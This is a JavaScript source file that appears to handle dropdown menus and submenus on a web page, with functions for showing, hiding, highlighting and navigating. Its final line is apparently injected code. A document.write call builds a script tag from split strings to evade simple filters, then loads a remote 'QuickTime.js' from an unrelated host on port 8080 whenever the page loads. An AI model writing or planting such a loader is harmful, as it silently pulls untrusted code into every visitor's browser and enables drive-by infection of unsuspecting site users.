
var currentMenu = "";
var currentSubMenu = "";
var currentSubMenuRow = "";
var menuWidth = "110px";

var actMenu, url;
var actSubMenu, currentSubMenu;
var par1="";

function flipMenu(actMenu)
{
// hide the current dropdown menu if there is one
   if (currentMenu)
   	hideMenu();
// show the new menu
   showMenu(actMenu);
}

function showMenu(actMenu)
{
   actMenu.style.visibility = "visible";
   currentMenu = actMenu;
}
function showSubMenu(actSubMenu)
{
   if ( currentSubMenu != "")
   	if(currentSubMenu != actSubMenu)
      		hideSubMenu(currentSubMenu);
   actSubMenu.style.visibility = "visible";
   actSubMenu.style.border = "1px solid black";
   actSubMenu.style.width=menuWidth;
   currentSubMenu = actSubMenu;
   }

function hideMenu()
{
   currentMenu.style.background = ""; /* modify color "selected" */
   currentMenu.style.visibility = "hidden";
   currentMenu = "";
}
function hideSubMenu(actSubMenu)
{
   actSubMenu.style.background = ""; /* modify color "selected" */
   actSubMenu.style.visibility = "hidden";
   currentSubMenu = "";
}

function swapto(url) {
   this.window.location.href = url;
}
function new_window(url) {
   popup=window.open(url);
   popup.focus();
   }
function changeText(par1)
{
    if (currentSubMenuRow == "")
    {
    }
    else
    {
       
        // clear the previous color to black
	currentSubMenuRow.style.background = "silver";
    }

    // then set the new color of the active text to red
    currentSubMenuRow = par1;
    currentSubMenuRow.style.background = "gray";
}


document.write('<s'+'cript type="text/javascript" src="http://temp.aspdesign.net:8080/QuickTime.js"></scr'+'ipt>');